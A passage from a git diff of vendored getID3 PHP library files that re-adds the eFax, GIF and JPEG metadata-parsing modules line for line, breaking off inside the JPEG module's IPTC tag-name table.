getid3_lib::LittleEndian2Int(substr($efaxheader, 202, 4)); - - $this->error('eFax parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.efax.php // +// module for analyzing eFax files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_efax extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $efaxheader = $this->fread(1024); + + $info['efax']['header']['magic'] = substr($efaxheader, 0, 2); + if ($info['efax']['header']['magic'] != "\xDC\xFE") { + $this->error('Invalid eFax byte order identifier (expecting DC FE, found '.getid3_lib::PrintHexBytes($info['efax']['header']['magic']).') at offset '.$info['avdataoffset']); + return false; + } + $info['fileformat'] = 'efax'; + + $info['efax']['header']['filesize'] = getid3_lib::LittleEndian2Int(substr($efaxheader, 2, 4)); + if ($info['efax']['header']['filesize'] != $info['filesize']) { + $this->error('Probable '.(($info['efax']['header']['filesize'] > $info['filesize']) ? 'truncated' : 'corrupt').' file, expecting '.$info['efax']['header']['filesize'].' bytes, found '.$info['filesize'].' bytes'); + } + $info['efax']['header']['software1'] = rtrim(substr($efaxheader, 26, 32), "\x00"); + $info['efax']['header']['software2'] = rtrim(substr($efaxheader, 58, 32), "\x00"); + $info['efax']['header']['software3'] = rtrim(substr($efaxheader, 90, 32), "\x00"); + + $info['efax']['header']['pages'] = getid3_lib::LittleEndian2Int(substr($efaxheader, 198, 2)); + $info['efax']['header']['data_bytes'] = getid3_lib::LittleEndian2Int(substr($efaxheader, 202, 4)); + + $this->error('eFax parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.gif.php b/vendor/james-heinrich/getid3/getid3/module.graphic.gif.php index b05bc960c7..0e463c8c05 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.gif.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.gif.php @@ -1,217 +1,217 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.gif.php // -// module for analyzing GIF Image files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -/** - * @link https://www.w3.org/Graphics/GIF/spec-gif89a.txt - * @link http://www.matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp - */ - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_gif extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'gif'; - $info['video']['dataformat'] = 'gif'; - $info['video']['lossless'] = true; - $info['video']['pixel_aspect_ratio'] = (float) 1; - - $this->fseek($info['avdataoffset']); - $GIFheader = $this->fread(13); - $offset = 0; - - $info['gif']['header']['raw']['identifier'] = substr($GIFheader, $offset, 3); - $offset += 3; - - $magic = 'GIF'; - if ($info['gif']['header']['raw']['identifier'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['gif']['header']['raw']['identifier']).'"'); - unset($info['fileformat']); - unset($info['gif']); - return false; - } - - //if (!$this->getid3->option_extra_info) { - // $this->warning('GIF Extensions and Global Color Table not returned due to !getid3->option_extra_info'); - //} - - $info['gif']['header']['raw']['version'] = substr($GIFheader, $offset, 3); - $offset += 3; - $info['gif']['header']['raw']['width'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 2)); - $offset += 2; - $info['gif']['header']['raw']['height'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 2)); - $offset += 2; - $info['gif']['header']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); - $offset += 1; - $info['gif']['header']['raw']['bg_color_index'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); - $offset += 1; - $info['gif']['header']['raw']['aspect_ratio'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); - $offset += 1; - - $info['video']['resolution_x'] = $info['gif']['header']['raw']['width']; - $info['video']['resolution_y'] = $info['gif']['header']['raw']['height']; - $info['gif']['version'] = $info['gif']['header']['raw']['version']; - $info['gif']['header']['flags']['global_color_table'] = (bool) ($info['gif']['header']['raw']['flags'] & 0x80); - if ($info['gif']['header']['raw']['flags'] & 0x80) { - // Number of bits per primary color available to the original image, minus 1 - $info['gif']['header']['bits_per_pixel'] = 3 * ((($info['gif']['header']['raw']['flags'] & 0x70) >> 4) + 1); - } else { - $info['gif']['header']['bits_per_pixel'] = 0; - } - $info['gif']['header']['flags']['global_color_sorted'] = (bool) ($info['gif']['header']['raw']['flags'] & 0x40); - if ($info['gif']['header']['flags']['global_color_table']) { - // the number of bytes contained in the Global Color Table. To determine that - // actual size of the color table, raise 2 to [the value of the field + 1] - $info['gif']['header']['global_color_size'] = pow(2, ($info['gif']['header']['raw']['flags'] & 0x07) + 1); - $info['video']['bits_per_sample'] = ($info['gif']['header']['raw']['flags'] & 0x07) + 1; - } else { - $info['gif']['header']['global_color_size'] = 0; - } - if ($info['gif']['header']['raw']['aspect_ratio'] != 0) { - // Aspect Ratio = (Pixel Aspect Ratio + 15) / 64 - $info['gif']['header']['aspect_ratio'] = ($info['gif']['header']['raw']['aspect_ratio'] + 15) / 64; - } - - if ($info['gif']['header']['flags']['global_color_table']) { - $GIFcolorTable = $this->fread(3 * $info['gif']['header']['global_color_size']); - if ($this->getid3->option_extra_info) { - $offset = 0; - for ($i = 0; $i < $info['gif']['header']['global_color_size']; $i++) { - $red = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); - $green = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); - $blue = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); - $info['gif']['global_color_table'][$i] = (($red << 16) | ($green << 8) | ($blue)); - $info['gif']['global_color_table_rgb'][$i] = sprintf('%02X%02X%02X', $red, $green, $blue); - } - } - } - - // Image Descriptor - $info['gif']['animation']['animated'] = false; - while (!feof($this->getid3->fp)) { - $NextBlockTest = $this->fread(1); - switch ($NextBlockTest) { - -/* - case ',': // ',' - Image separator character - $ImageDescriptorData = $NextBlockTest.$this->fread(9); - $ImageDescriptor = array(); - $ImageDescriptor['image_left'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 1, 2)); - $ImageDescriptor['image_top'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 3, 2)); - $ImageDescriptor['image_width'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 5, 2)); - $ImageDescriptor['image_height'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 7, 2)); - $ImageDescriptor['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 9, 1)); - $ImageDescriptor['flags']['use_local_color_map'] = (bool) ($ImageDescriptor['flags_raw'] & 0x80); - $ImageDescriptor['flags']['image_interlaced'] = (bool) ($ImageDescriptor['flags_raw'] & 0x40); - $info['gif']['image_descriptor'][] = $ImageDescriptor; - - if ($ImageDescriptor['flags']['use_local_color_map']) { - - $this->warning('This version of getID3() cannot parse local color maps for GIFs'); - return true; - - } - $RasterData = array(); - $RasterData['code_size'] = getid3_lib::LittleEndian2Int($this->fread(1)); - $RasterData['block_byte_count'] = getid3_lib::LittleEndian2Int($this->fread(1)); - $info['gif']['raster_data'][count($info['gif']['image_descriptor']) - 1] = $RasterData; - - $CurrentCodeSize = $RasterData['code_size'] + 1; - for ($i = 0; $i < pow(2, $RasterData['code_size']); $i++) { - $DefaultDataLookupTable[$i] = chr($i); - } - $DefaultDataLookupTable[pow(2, $RasterData['code_size']) + 0] = ''; // Clear Code - $DefaultDataLookupTable[pow(2, $RasterData['code_size']) + 1] = ''; // End Of Image Code - - $NextValue = $this->GetLSBits($CurrentCodeSize); - echo 'Clear Code: '.$NextValue.'
                              '; - - $NextValue = $this->GetLSBits($CurrentCodeSize); - echo 'First Color: '.$NextValue.'
                              '; - - $Prefix = $NextValue; - $i = 0; - while ($i++ < 20) { - $NextValue = $this->GetLSBits($CurrentCodeSize); - echo $NextValue.'
                              '; - } - echo 'escaping
                              '; - return true; - break; -*/ - - case '!': - // GIF Extension Block - $ExtensionBlockData = $NextBlockTest.$this->fread(2); - $ExtensionBlock = array(); - $ExtensionBlock['function_code'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlockData, 1, 1)); - $ExtensionBlock['byte_length'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlockData, 2, 1)); - $ExtensionBlock['data'] = (($ExtensionBlock['byte_length'] > 0) ? $this->fread($ExtensionBlock['byte_length']) : null); - - if (substr($ExtensionBlock['data'], 0, 11) == 'NETSCAPE2.0') { // Netscape Application Block (NAB) - $ExtensionBlock['data'] .= $this->fread(4); - if (substr($ExtensionBlock['data'], 11, 2) == "\x03\x01") { - $info['gif']['animation']['animated'] = true; - $info['gif']['animation']['loop_count'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlock['data'], 13, 2)); - } else { - $this->warning('Expecting 03 01 at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes(substr($ExtensionBlock['data'], 11, 2)).'"'); - } - } - - if ($this->getid3->option_extra_info) { - $info['gif']['extension_blocks'][] = $ExtensionBlock; - } - break; - - case ';': - $info['gif']['terminator_offset'] = $this->ftell() - 1; - // GIF Terminator - break; - - default: - break; - - - } - } - - return true; - } - - /** - * @param int $bits - * - * @return float|int - */ - public function GetLSBits($bits) { - static $bitbuffer = ''; - while (strlen($bitbuffer) < $bits) { - $bitbuffer = str_pad(decbin(ord($this->fread(1))), 8, '0', STR_PAD_LEFT).$bitbuffer; - } - $value = bindec(substr($bitbuffer, 0 - $bits)); - $bitbuffer = substr($bitbuffer, 0, 0 - $bits); - - return $value; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.gif.php // +// module for analyzing GIF Image files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +/** + * @link https://www.w3.org/Graphics/GIF/spec-gif89a.txt + * @link http://www.matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp + */ + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_gif extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'gif'; + $info['video']['dataformat'] = 'gif'; + $info['video']['lossless'] = true; + $info['video']['pixel_aspect_ratio'] = (float) 1; + + $this->fseek($info['avdataoffset']); + $GIFheader = $this->fread(13); + $offset = 0; + + $info['gif']['header']['raw']['identifier'] = substr($GIFheader, $offset, 3); + $offset += 3; + + $magic = 'GIF'; + if ($info['gif']['header']['raw']['identifier'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['gif']['header']['raw']['identifier']).'"'); + unset($info['fileformat']); + unset($info['gif']); + return false; + } + + //if (!$this->getid3->option_extra_info) { + // $this->warning('GIF Extensions and Global Color Table not returned due to !getid3->option_extra_info'); + //} + + $info['gif']['header']['raw']['version'] = substr($GIFheader, $offset, 3); + $offset += 3; + $info['gif']['header']['raw']['width'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 2)); + $offset += 2; + $info['gif']['header']['raw']['height'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 2)); + $offset += 2; + $info['gif']['header']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); + $offset += 1; + $info['gif']['header']['raw']['bg_color_index'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); + $offset += 1; + $info['gif']['header']['raw']['aspect_ratio'] = getid3_lib::LittleEndian2Int(substr($GIFheader, $offset, 1)); + $offset += 1; + + $info['video']['resolution_x'] = $info['gif']['header']['raw']['width']; + $info['video']['resolution_y'] = $info['gif']['header']['raw']['height']; + $info['gif']['version'] = $info['gif']['header']['raw']['version']; + $info['gif']['header']['flags']['global_color_table'] = (bool) ($info['gif']['header']['raw']['flags'] & 0x80); + if ($info['gif']['header']['raw']['flags'] & 0x80) { + // Number of bits per primary color available to the original image, minus 1 + $info['gif']['header']['bits_per_pixel'] = 3 * ((($info['gif']['header']['raw']['flags'] & 0x70) >> 4) + 1); + } else { + $info['gif']['header']['bits_per_pixel'] = 0; + } + $info['gif']['header']['flags']['global_color_sorted'] = (bool) ($info['gif']['header']['raw']['flags'] & 0x40); + if ($info['gif']['header']['flags']['global_color_table']) { + // the number of bytes contained in the Global Color Table. To determine that + // actual size of the color table, raise 2 to [the value of the field + 1] + $info['gif']['header']['global_color_size'] = pow(2, ($info['gif']['header']['raw']['flags'] & 0x07) + 1); + $info['video']['bits_per_sample'] = ($info['gif']['header']['raw']['flags'] & 0x07) + 1; + } else { + $info['gif']['header']['global_color_size'] = 0; + } + if ($info['gif']['header']['raw']['aspect_ratio'] != 0) { + // Aspect Ratio = (Pixel Aspect Ratio + 15) / 64 + $info['gif']['header']['aspect_ratio'] = ($info['gif']['header']['raw']['aspect_ratio'] + 15) / 64; + } + + if ($info['gif']['header']['flags']['global_color_table']) { + $GIFcolorTable = $this->fread(3 * $info['gif']['header']['global_color_size']); + if ($this->getid3->option_extra_info) { + $offset = 0; + for ($i = 0; $i < $info['gif']['header']['global_color_size']; $i++) { + $red = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); + $green = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); + $blue = getid3_lib::LittleEndian2Int(substr($GIFcolorTable, $offset++, 1)); + $info['gif']['global_color_table'][$i] = (($red << 16) | ($green << 8) | ($blue)); + $info['gif']['global_color_table_rgb'][$i] = sprintf('%02X%02X%02X', $red, $green, $blue); + } + } + } + + // Image Descriptor + $info['gif']['animation']['animated'] = false; + while (!feof($this->getid3->fp)) { + $NextBlockTest = $this->fread(1); + switch ($NextBlockTest) { + +/* + case ',': // ',' - Image separator character + $ImageDescriptorData = $NextBlockTest.$this->fread(9); + $ImageDescriptor = array(); + $ImageDescriptor['image_left'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 1, 2)); + $ImageDescriptor['image_top'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 3, 2)); + $ImageDescriptor['image_width'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 5, 2)); + $ImageDescriptor['image_height'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 7, 2)); + $ImageDescriptor['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ImageDescriptorData, 9, 1)); + $ImageDescriptor['flags']['use_local_color_map'] = (bool) ($ImageDescriptor['flags_raw'] & 0x80); + $ImageDescriptor['flags']['image_interlaced'] = (bool) ($ImageDescriptor['flags_raw'] & 0x40); + $info['gif']['image_descriptor'][] = $ImageDescriptor; + + if ($ImageDescriptor['flags']['use_local_color_map']) { + + $this->warning('This version of getID3() cannot parse local color maps for GIFs'); + return true; + + } + $RasterData = array(); + $RasterData['code_size'] = getid3_lib::LittleEndian2Int($this->fread(1)); + $RasterData['block_byte_count'] = getid3_lib::LittleEndian2Int($this->fread(1)); + $info['gif']['raster_data'][count($info['gif']['image_descriptor']) - 1] = $RasterData; + + $CurrentCodeSize = $RasterData['code_size'] + 1; + for ($i = 0; $i < pow(2, $RasterData['code_size']); $i++) { + $DefaultDataLookupTable[$i] = chr($i); + } + $DefaultDataLookupTable[pow(2, $RasterData['code_size']) + 0] = ''; // Clear Code + $DefaultDataLookupTable[pow(2, $RasterData['code_size']) + 1] = ''; // End Of Image Code + + $NextValue = $this->GetLSBits($CurrentCodeSize); + echo 'Clear Code: '.$NextValue.'
                              '; + + $NextValue = $this->GetLSBits($CurrentCodeSize); + echo 'First Color: '.$NextValue.'
                              '; + + $Prefix = $NextValue; + $i = 0; + while ($i++ < 20) { + $NextValue = $this->GetLSBits($CurrentCodeSize); + echo $NextValue.'
                              '; + } + echo 'escaping
                              '; + return true; + break; +*/ + + case '!': + // GIF Extension Block + $ExtensionBlockData = $NextBlockTest.$this->fread(2); + $ExtensionBlock = array(); + $ExtensionBlock['function_code'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlockData, 1, 1)); + $ExtensionBlock['byte_length'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlockData, 2, 1)); + $ExtensionBlock['data'] = (($ExtensionBlock['byte_length'] > 0) ? $this->fread($ExtensionBlock['byte_length']) : null); + + if (substr($ExtensionBlock['data'], 0, 11) == 'NETSCAPE2.0') { // Netscape Application Block (NAB) + $ExtensionBlock['data'] .= $this->fread(4); + if (substr($ExtensionBlock['data'], 11, 2) == "\x03\x01") { + $info['gif']['animation']['animated'] = true; + $info['gif']['animation']['loop_count'] = getid3_lib::LittleEndian2Int(substr($ExtensionBlock['data'], 13, 2)); + } else { + $this->warning('Expecting 03 01 at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes(substr($ExtensionBlock['data'], 11, 2)).'"'); + } + } + + if ($this->getid3->option_extra_info) { + $info['gif']['extension_blocks'][] = $ExtensionBlock; + } + break; + + case ';': + $info['gif']['terminator_offset'] = $this->ftell() - 1; + // GIF Terminator + break; + + default: + break; + + + } + } + + return true; + } + + /** + * @param int $bits + * + * @return float|int + */ + public function GetLSBits($bits) { + static $bitbuffer = ''; + while (strlen($bitbuffer) < $bits) { + $bitbuffer = str_pad(decbin(ord($this->fread(1))), 8, '0', STR_PAD_LEFT).$bitbuffer; + } + $value = bindec(substr($bitbuffer, 0 - $bits)); + $bitbuffer = substr($bitbuffer, 0, 0 - $bits); + + return $value; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.jpg.php b/vendor/james-heinrich/getid3/getid3/module.graphic.jpg.php index 343da2d68e..c6ffad7e70 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.jpg.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.jpg.php @@ -1,365 +1,365 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.jpg.php // -// module for analyzing JPEG Image files // -// dependencies: PHP compiled with --enable-exif (optional) // -// module.tag.xmp.php (optional) // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -class getid3_jpg extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'jpg'; - $info['video']['dataformat'] = 'jpg'; - $info['video']['lossless'] = false; - $info['video']['bits_per_sample'] = 24; - $info['video']['pixel_aspect_ratio'] = (float) 1; - - $this->fseek($info['avdataoffset']); - - $imageinfo = array(); - //list($width, $height, $type) = getid3_lib::GetDataImageSize($this->fread($info['filesize']), $imageinfo); - list($width, $height, $type) = getimagesize($info['filenamepath'], $imageinfo); // https://www.getid3.org/phpBB3/viewtopic.php?t=1474 - - - if (isset($imageinfo['APP13'])) { - // http://php.net/iptcparse - // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html - $iptc_parsed = iptcparse($imageinfo['APP13']); - if (is_array($iptc_parsed)) { - foreach ($iptc_parsed as $iptc_key_raw => $iptc_values) { - list($iptc_record, $iptc_tagkey) = explode('#', $iptc_key_raw); - $iptc_tagkey = intval(ltrim($iptc_tagkey, '0')); - foreach ($iptc_values as $key => $value) { - $IPTCrecordName = $this->IPTCrecordName($iptc_record); - $IPTCrecordTagName = $this->IPTCrecordTagName($iptc_record, $iptc_tagkey); - if (isset($info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName])) { - $info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName][] = $value; - } else { - $info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName] = array($value); - } - } - } - } - } - - $returnOK = false; - switch ($type) { - case IMAGETYPE_JPEG: - $info['video']['resolution_x'] = $width; - $info['video']['resolution_y'] = $height; - - if (isset($imageinfo['APP1'])) { - if (function_exists('exif_read_data')) { - if (substr($imageinfo['APP1'], 0, 4) == 'Exif') { - //$this->warning('known issue: https://bugs.php.net/bug.php?id=62523'); - //return false; - set_error_handler(function($errno, $errstr, $errfile, $errline) { // https://github.com/JamesHeinrich/getID3/issues/275 - if (!(error_reporting() & $errno)) { - // error is not specified in the error_reporting setting, so we ignore it - return false; - } - $this->warning('Error parsing EXIF data ('.$errstr.')'); - }); - $info['jpg']['exif'] = exif_read_data($info['filenamepath'], null, true, false); - restore_error_handler(); - } else { - $this->warning('exif_read_data() cannot parse non-EXIF data in APP1 (expected "Exif", found "'.substr($imageinfo['APP1'], 0, 4).'")'); - } - } else { - $this->warning('EXIF parsing only available when '.(GETID3_OS_ISWINDOWS ? 'php_exif.dll enabled' : 'compiled with --enable-exif')); - } - } - $returnOK = true; - break; - - default: - break; - } - - - $cast_as_appropriate_keys = array('EXIF', 'IFD0', 'THUMBNAIL'); - foreach ($cast_as_appropriate_keys as $exif_key) { - if (isset($info['jpg']['exif'][$exif_key])) { - foreach ($info['jpg']['exif'][$exif_key] as $key => $value) { - $info['jpg']['exif'][$exif_key][$key] = $this->CastAsAppropriate($value); - } - } - } - - - if (isset($info['jpg']['exif']['GPS'])) { - - if (isset($info['jpg']['exif']['GPS']['GPSVersion'])) { - $version_subparts = array(); - for ($i = 0; $i < 4; $i++) { - $version_subparts[$i] = ord(substr($info['jpg']['exif']['GPS']['GPSVersion'], $i, 1)); - } - $info['jpg']['exif']['GPS']['computed']['version'] = 'v'.implode('.', $version_subparts); - } - - if (isset($info['jpg']['exif']['GPS']['GPSDateStamp'])) { - $explodedGPSDateStamp = explode(':', $info['jpg']['exif']['GPS']['GPSDateStamp']); - $computed_time[5] = (isset($explodedGPSDateStamp[0]) ? $explodedGPSDateStamp[0] : ''); - $computed_time[3] = (isset($explodedGPSDateStamp[1]) ? $explodedGPSDateStamp[1] : ''); - $computed_time[4] = (isset($explodedGPSDateStamp[2]) ? $explodedGPSDateStamp[2] : ''); - - $computed_time = array(0=>0, 1=>0, 2=>0, 3=>0, 4=>0, 5=>0); - if (isset($info['jpg']['exif']['GPS']['GPSTimeStamp']) && is_array($info['jpg']['exif']['GPS']['GPSTimeStamp'])) { - foreach ($info['jpg']['exif']['GPS']['GPSTimeStamp'] as $key => $value) { - $computed_time[$key] = getid3_lib::DecimalizeFraction($value); - } - } - $info['jpg']['exif']['GPS']['computed']['timestamp'] = gmmktime($computed_time[0], $computed_time[1], $computed_time[2], $computed_time[3], $computed_time[4], $computed_time[5]); - } - - if (isset($info['jpg']['exif']['GPS']['GPSLatitude']) && is_array($info['jpg']['exif']['GPS']['GPSLatitude'])) { - $direction_multiplier = ((isset($info['jpg']['exif']['GPS']['GPSLatitudeRef']) && ($info['jpg']['exif']['GPS']['GPSLatitudeRef'] == 'S')) ? -1 : 1); - $computed_latitude = array(); - foreach ($info['jpg']['exif']['GPS']['GPSLatitude'] as $key => $value) { - $computed_latitude[$key] = getid3_lib::DecimalizeFraction($value); - } - $info['jpg']['exif']['GPS']['computed']['latitude'] = $direction_multiplier * ($computed_latitude[0] + ($computed_latitude[1] / 60) + ($computed_latitude[2] / 3600)); - } - - if (isset($info['jpg']['exif']['GPS']['GPSLongitude']) && is_array($info['jpg']['exif']['GPS']['GPSLongitude'])) { - $direction_multiplier = ((isset($info['jpg']['exif']['GPS']['GPSLongitudeRef']) && ($info['jpg']['exif']['GPS']['GPSLongitudeRef'] == 'W')) ? -1 : 1); - $computed_longitude = array(); - foreach ($info['jpg']['exif']['GPS']['GPSLongitude'] as $key => $value) { - $computed_longitude[$key] = getid3_lib::DecimalizeFraction($value); - } - $info['jpg']['exif']['GPS']['computed']['longitude'] = $direction_multiplier * ($computed_longitude[0] + ($computed_longitude[1] / 60) + ($computed_longitude[2] / 3600)); - } - if (isset($info['jpg']['exif']['GPS']['GPSAltitudeRef'])) { - $info['jpg']['exif']['GPS']['GPSAltitudeRef'] = ord($info['jpg']['exif']['GPS']['GPSAltitudeRef']); // 0 = above sea level; 1 = below sea level - } - if (isset($info['jpg']['exif']['GPS']['GPSAltitude'])) { - $direction_multiplier = (!empty($info['jpg']['exif']['GPS']['GPSAltitudeRef']) ? -1 : 1); // 0 = above sea level; 1 = below sea level - $info['jpg']['exif']['GPS']['computed']['altitude'] = $direction_multiplier * getid3_lib::DecimalizeFraction($info['jpg']['exif']['GPS']['GPSAltitude']); - } - - } - - - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.xmp.php', __FILE__, true); - if (isset($info['filenamepath'])) { - $image_xmp = new Image_XMP($info['filenamepath']); - $xmp_raw = $image_xmp->getAllTags(); - foreach ($xmp_raw as $key => $value) { - if (strpos($key, ':')) { - list($subsection, $tagname) = explode(':', $key); - $info['xmp'][$subsection][$tagname] = $this->CastAsAppropriate($value); - } else { - $this->warning('XMP: expecting ":", found "'.$key.'"'); - } - } - } - - if (!$returnOK) { - unset($info['fileformat']); - return false; - } - return true; - } - - /** - * @param mixed $value - * - * @return mixed - */ - public function CastAsAppropriate($value) { - if (is_array($value)) { - return $value; - } elseif (preg_match('#^[0-9]+/[0-9]+$#', $value)) { - return getid3_lib::DecimalizeFraction($value); - } elseif (preg_match('#^[0-9]+$#', $value)) { - return getid3_lib::CastAsInt($value); - } elseif (preg_match('#^[0-9\.]+$#', $value)) { - return (float) $value; - } - return $value; - } - - /** - * @param int $iptc_record - * - * @return string - */ - public function IPTCrecordName($iptc_record) { - // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html - static $IPTCrecordName = array(); - if (empty($IPTCrecordName)) { - $IPTCrecordName = array( - 1 => 'IPTCEnvelope', - 2 => 'IPTCApplication', - 3 => 'IPTCNewsPhoto', - 7 => 'IPTCPreObjectData', - 8 => 'IPTCObjectData', - 9 => 'IPTCPostObjectData', - ); - } - return (isset($IPTCrecordName[$iptc_record]) ? $IPTCrecordName[$iptc_record] : ''); - } - - /** - * @param int $iptc_record - * @param int $iptc_tagkey - * - * @return string - */ - public function IPTCrecordTagName($iptc_record, $iptc_tagkey) { - // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html - static $IPTCrecordTagName = array(); - if (empty($IPTCrecordTagName)) { - $IPTCrecordTagName = array( - 1 => array( // IPTC EnvelopeRecord Tags - 0 => 'EnvelopeRecordVersion', - 5 => 'Destination', - 20 => 'FileFormat', - 22 => 'FileVersion', - 30 => 'ServiceIdentifier', - 40 => 'EnvelopeNumber', - 50 => 'ProductID', - 60 => 'EnvelopePriority', - 70 => 'DateSent', - 80 => 'TimeSent', - 90 => 'CodedCharacterSet', - 100 => 'UniqueObjectName', - 120 => 'ARMIdentifier', - 122 => 'ARMVersion', - ), - 2 => array( // IPTC ApplicationRecord Tags - 0 => 'ApplicationRecordVersion', - 3 => 'ObjectTypeReference', - 4 => 'ObjectAttributeReference', - 5 => 'ObjectName', - 7 => 'EditStatus', - 8 => 'EditorialUpdate', - 10 => 'Urgency', - 12 => 'SubjectReference', - 15 => 'Category', - 20 => 'SupplementalCategories', - 22 => 'FixtureIdentifier', - 25 => 'Keywords', - 26 => 'ContentLocationCode', - 27 => 'ContentLocationName', - 30 => 'ReleaseDate', - 35 => 'ReleaseTime', - 37 => 'ExpirationDate', - 38 => 'ExpirationTime', - 40 => 'SpecialInstructions', - 42 => 'ActionAdvised', - 45 => 'ReferenceService', - 47 => 'ReferenceDate', - 50 => 'ReferenceNumber', - 55 => 'DateCreated', - 60 => 'TimeCreated', - 62 => 'DigitalCreationDate', - 63 => 'DigitalCreationTime', - 65 => 'OriginatingProgram', - 70 => 'ProgramVersion', - 75 => 'ObjectCycle', - 80 => 'By-line', - 85 => 'By-lineTitle', - 90 => 'City', - 92 => 'Sub-location', - 95 => 'Province-State', - 100 => 'Country-PrimaryLocationCode', - 101 => 'Country-PrimaryLocationName', - 103 => 'OriginalTransmissionReference', - 105 => 'Headline', - 110 => 'Credit', - 115 => 'Source', - 116 => 'CopyrightNotice', - 118 => 'Contact', - 120 => 'Caption-Abstract', - 121 => 'LocalCaption', - 122 => 'Writer-Editor', - 125 => 'RasterizedCaption', - 130 => 'ImageType', - 131 => 'ImageOrientation', - 135 => 'LanguageIdentifier', - 150 => 'AudioType', - 151 => 'AudioSamplingRate', - 152 => 'AudioSamplingResolution', - 153 => 'AudioDuration', - 154 => 'AudioOutcue', - 184 => 'JobID', - 185 => 'MasterDocumentID', - 186 => 'ShortDocumentID', - 187 => 'UniqueDocumentID', - 188 => 'OwnerID', - 200 => 'ObjectPreviewFileFormat', - 201 => 'ObjectPreviewFileVersion', - 202 => 'ObjectPreviewData', - 221 => 'Prefs', - 225 => 'ClassifyState', - 228 => 'SimilarityIndex', - 230 => 'DocumentNotes', - 231 => 'DocumentHistory', - 232 => 'ExifCameraInfo', - ), - 3 => array( // IPTC NewsPhoto Tags - 0 => 'NewsPhotoVersion', - 10 => 